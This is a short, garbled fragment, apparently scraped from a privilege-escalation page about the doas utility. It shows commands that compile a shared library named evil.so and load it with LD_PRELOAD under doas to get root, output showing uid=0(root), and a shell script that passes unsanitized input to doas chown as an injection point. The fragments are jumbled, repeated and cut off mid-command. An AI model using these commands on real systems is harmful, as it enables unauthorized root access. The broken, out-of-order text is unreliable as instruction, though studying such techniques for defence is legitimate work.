Hacktricks Doas Apr 2026

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

doas -n id # uid=0(root) gid=0(root) Escalate: hacktricks doas

#!/bin/sh doas /usr/bin/chown user "$1" Exploit: gcc -shared -fPIC evil